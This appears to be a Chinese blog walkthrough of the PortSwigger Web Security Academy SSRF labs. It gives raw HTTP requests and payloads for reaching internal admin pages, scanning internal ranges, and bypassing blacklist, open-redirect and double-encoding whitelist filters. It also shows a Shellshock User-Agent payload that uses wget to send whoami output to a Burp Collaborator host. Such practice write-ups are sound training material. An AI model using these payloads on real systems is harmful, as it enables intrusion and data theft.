Burp Web Academy SSRF 服务端请求伪造

0x01. PortSwigger Web Security Academy

PortSwigger Web Security Academy 是 Burp Suite 官方推出的免费 Web 安全学习靶场,在学习 Web 安全知识的同时,还可以练习 Burp Suite 的实战技能。

本篇文章讲解 Web Security Academy 之中的 Server-side request forgery (SSRF) 章节(即服务端请求伪造)。

0x02. Server-side request forgery (SSRF)

2.1 Lab: Basic SSRF against the local server

This lab has a stock check feature which fetches data from an internal system.

To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos.

查看物品页面代码:

1
2
3
4
5
6
7
8
9
10
11
<form id="stockCheckForm" action="/product/stock" method="POST">
<select name="stockApi">
<option value="http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=1">London</option>
<option value="http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=2">Paris</option>
<option value="http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=3">Milan</option>
</select>
<button type="submit" class="button">Check stock</button>
</form>
<span id="stockCheckResult"></span>
<script src="/resources/js/stockCheckPayload.js"></script>
<script src="/resources/js/stockCheck.js"></script>

看起来是服务端直接请求了提交的 URL:

1
2
3
4
5
6
7
8
9
10
11
POST /product/stock HTTP/2
Host: 0aed004c042947e29a79298a00d10084.web-security-academy.net
Cookie: session=LawIAQoJKeNobRcptJ0dSTEar66MtgC9
Content-Length: 107
Content-Type: application/x-www-form-urlencoded
Origin: https://0aed004c042947e29a79298a00d10084.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty

stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1

测试站点没有账号密码可以登录,访问 /admin 则提示:

1
Admin interface only available if logged in as an administrator, or if requested from loopback

可以先利用 SSRF 看下页面长什么样子:

1
stockApi=http://localhost/admin

得到:

1
2
3
4
<div>
<span>carlos - </span>
<a href="/admin/delete?username=carlos">Delete</a>
</div>

最终利用 Payload:

1
stockApi=http://localhost/admin/delete?username=carlos

2.2 Lab: Basic SSRF against another back-end system

This lab has a stock check feature which fetches data from an internal system.

To solve the lab, use the stock check functionality to scan the internal 192.168.0.X range for an admin interface on port 8080, then use it to delete the user carlos.

基于 Burp Intruder 发起扫描(Burp Intruder 用法可以参考 Burp Web Academy 鉴权漏洞):

1
2
3
4
5
6
7
8
9
10
11
12
POST /product/stock HTTP/2
Host: 0a9b00c803eb9507823eb058001f006c.web-security-academy.net
Cookie: session=h1RQ75InDS0ae9V40BlLkdHW0uSjAw0u
Content-Length: 96
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://0a9b00c803eb9507823eb058001f006c.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty

stockApi=http://192.168.00§:8080/admin

找到 IP 地址为 192.168.0.32,构造如下请求删除用户:

1
stockApi=http://192.168.0.32:8080/admin/delete?username=carlos

2.3 Lab: Blind SSRF with out-of-band detection

This site uses analytics software which fetches the URL specified in the Referer header when a product page is loaded.

To solve the lab, use this functionality to cause an HTTP request to the public Burp Collaborator server.

访问统计功能会访问 Referer 指定的 URL,配合 Burp Collaborator 监控请求状态。

1
2
3
4
5
6
7
8
9
GET /product?productId=1 HTTP/2
Host: 0afb008f031c234081fbfc1000ee008c.web-security-academy.net
Upgrade-Insecure-Requests: 1
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://tc93yt53blgsmwiygjupj0unler5fv3k.oastify.com/
Connection: close

2.4 Lab: SSRF with blacklist-based input filter

This lab has a stock check feature which fetches data from an internal system.

To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos.

The developer has deployed two weak anti-SSRF defenses that you will need to bypass.

有两道 SSRF 防御,需要绕过。

尝试访问 http://localhosthttp://127.0.0.1 都提示被拦截:

1
"External stock check blocked for security reasons"

尝试转成十进制形式 http://2130706433,但是服务端好像并不支持(Chrome 浏览器是可以的)。经过多次测试,发现两道防御机制是检查是否包含关键字 localhostadmin,直接使用大小写可以绕过。

最终利用代码:

1
stockApi=http://LocalHost/Admin/delete?username=carlos

2.5 Lab: SSRF with filter bypass via open redirection vulnerability

This lab has a stock check feature which fetches data from an internal system.

To solve the lab, change the stock check URL to access the admin interface at http://192.168.0.12:8080/admin and delete the user carlos.

The stock checker has been restricted to only access the local application, so you will need to find an open redirect affecting the application first.

这次直接访问的当前站点(尽管这个 API 也可以直接访问):

1
stockApi=/product/stock/check?productId=1&storeId=1

直接访问 stockApi=http://192.168.0.12:8080/admin,会提示:

1
"Invalid external stock check url 'Invalid URL'"

物品页面最下方有一个 Next product 超链接,可以实现重定向:

1
2
3
4
5
6
GET /product/nextProduct?currentProductId=1&path=/product?productId=2 HTTP/2

HTTP/2 302 Found
Location: /product?productId=2
X-Frame-Options: SAMEORIGIN
Content-Length: 0

这个接口可以直接用来实现重定向:

1
2
3
4
5
6
GET /product/nextProduct?currentProductId=1&path=http://192.168.0.12:8080/admin HTTP/2

HTTP/2 302 Found
Location: http://192.168.0.12:8080/admin
X-Frame-Options: SAMEORIGIN
Content-Length: 0

最终利用代码(注意 & 要编码为 %26):

1
2
3
4
5
6
7
8
9
10
11
POST /product/stock HTTP/2
Host: 0a36007c036bf3578171a804001c00ee.web-security-academy.net
Cookie: session=YyAM2lZzy6LX8Clg2cR7qGaTlUOoHosg
Content-Length: 109
Content-Type: application/x-www-form-urlencoded
Origin: https://0a36007c036bf3578171a804001c00ee.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty

stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin/delete?username=carlos

2.6 Lab: Blind SSRF with Shellshock exploitation

This site uses analytics software which fetches the URL specified in the Referer header when a product page is loaded.

To solve the lab, use this functionality to perform a blind SSRF attack against an internal server in the 192.168.0.X range on port 8080. In the blind attack, use a Shellshock payload against the internal server to exfiltrate the name of the OS user.

基于 Referer 来进行内网扫描探测,同时利用 Shellshock payload 提取信息。解这道题需要对 Shellshock 漏洞(CVE-2014-6271)有一定的了解,可以 Google 相关信息,如 48112-the-shellshock-attack-paper.pdf

访问商品详情页面,替换 Referer 为 Burp Collaborator 地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
GET /product?productId=1 HTTP/2
Host: 0a1c0042035227f882b6bf8400aa006f.web-security-academy.net
Cookie: session=izZ6FQpo8wsYac7XksTr3UBNek1ym4M1
Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://k5qag4z6qr8te0uio20otc46pxvoje73.oastify.com/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

观察 Burp Collaborator 的情况:

1
2
3
4
GET / HTTP/1.1
Host: k5qag4z6qr8te0uio20otc46pxvoje73.oastify.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept-Encoding: gzip

可以看到,User-Agent 字段是完全一样的,可以考虑基于 User-Agent 来发起 Shellshock 攻击,Burp Intruder 模板如下:

1
2
3
4
5
GET /product?productId=1 HTTP/2
Host: 0a1c0042035227f882b6bf8400aa006f.web-security-academy.net
Cookie: session=izZ6FQpo8wsYac7XksTr3UBNek1ym4M1
Referer: http://192.168.0.§0§:8080/
User-Agent: () { :;}; wget http://k5qag4z6qr8te0uio20otc46pxvoje73.oastify.com/$(whoami)

注意,$(whoami) 和反引号都可以,但是 ${whoami} 不可以,前者表示执行命令并引用输出,后者表示引用一个名为 whoami 的变量。

Burp Collaborator 收到的请求:

1
2
3
4
5
6
GET /peter-gbtAyQ HTTP/1.1
User-Agent: Wget/1.20.3 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: k5qag4z6qr8te0uio20otc46pxvoje73.oastify.com
Connection: Keep-Alive

2.7 Lab: SSRF with whitelist-based input filter

This lab has a stock check feature which fetches data from an internal system.

To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos.

The developer has deployed an anti-SSRF defense you will need to bypass.

需要绕过 SSRF 白名单,正常的请求如下:

1
stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1%26storeId=1

尝试访问目标地址:

1
stockApi=http://localhost/admin

提示:

1
2
3
4
5
6
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 58

"External stock check host must be stock.weliketoshop.net"

尝试 http://stock.weliketoshop.net:pwd@localhost/admin 无法绕过,尝试 XSS 发现有特殊字符检测:

1
2
"Invalid external stock check url 'Illegal character in query at index 75: 
http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=<script>'"

参考官方解法:

  1. 访问 stockApi=http://user@stock.weliketoshop.net:8080/ 提示 "Missing parameter",说明支持携带访问凭据
  2. 尝试 http://user#@stock.weliketoshop.net:8080/,尝试把后面部分当成书签,看看服务端是否解析错误,实际上提示 Host 不在白名单
  3. 尝试对 # 进行编码,即 http://user%23@stock.weliketoshop.net:8080/,依然不在白名单
  4. 尝试双重编码,即 stockApi=http://user%2523@stock.weliketoshop.net:8080/,提示 Internal Server ErrorCould not connect to external stock check service,说明成功绕过了检查逻辑

猜测服务端首先会进行 URL Decode,所以 http://user%2523@stock.weliketoshop.net:8080/ 先解码为 http://user%23@stock.weliketoshop.net:8080/,然后访问该 URL,这个显然也是一个合法的 URL,%23 会自动解码为 #。因此,核心逻辑是服务端会主动进行一次 URL Decode,因此双重编码才可以实现绕过操作。

发送如下 Payload 即可完成解题:

1
stockApi=http://localhost%2523@stock.weliketoshop.net:8080/admin/delete?username=carlos

黑人问号# 居然还可以用在 Host 里面?把 Host 中 # 开始到 / 之前的部分屏蔽掉?看起来不太合理。

在 Chrome 中访问 https://secdroid.github.io#@google.com/about,实际上也只能访问博客首页,路径部分并不会生效,因为 # 之后都是书签内容。

Google 搜索了一下,发现有人有同样的疑问,参考 Why does Portswigger’s solution to the lab “SSRF with whitelist-based input filter” work? - Information Security Stack Exchange

I enumerated all the characters and discovered that %252f and %253f also work which are / and ? respectively. I tried http://localhost%252fadmin%2523@stock.weliketoshop.net which still passes the filter and makes more sense but again the result was that everything after %25 was stripped so it goes to http://localhost only.

My conclusion is that Portswigger created a custom filter for the sake of the tutorial which doesn’t exactly resemble a real-world SSRF filter.

看起来后台使用了自定义的 URL 分割逻辑(一方面引入了漏洞,另一方强行拼接了 Path 部分)。

0x03. 小结

  • SSRF 基本概念及利用方式
  • SSRF 配合 Burp Intruder 探测内网信息
  • SSRF 拦截绕过(多测试不同的形式,判断检查点是什么)
  • Shellshock 漏洞原理及利用
  • URL 双重解码绕过白名单校验

0x04. 参考文档

  1. https://portswigger.net/web-security/all-labs#server-side-request-forgery-ssrf
  2. https://www.exploit-db.com/docs/english/48112-the-shellshock-attack-%5Bpaper%5D.pdf
  3. https://security.stackexchange.com/questions/226714/why-does-portswiggers-solution-to-the-lab-ssrf-with-whitelist-based-input-filt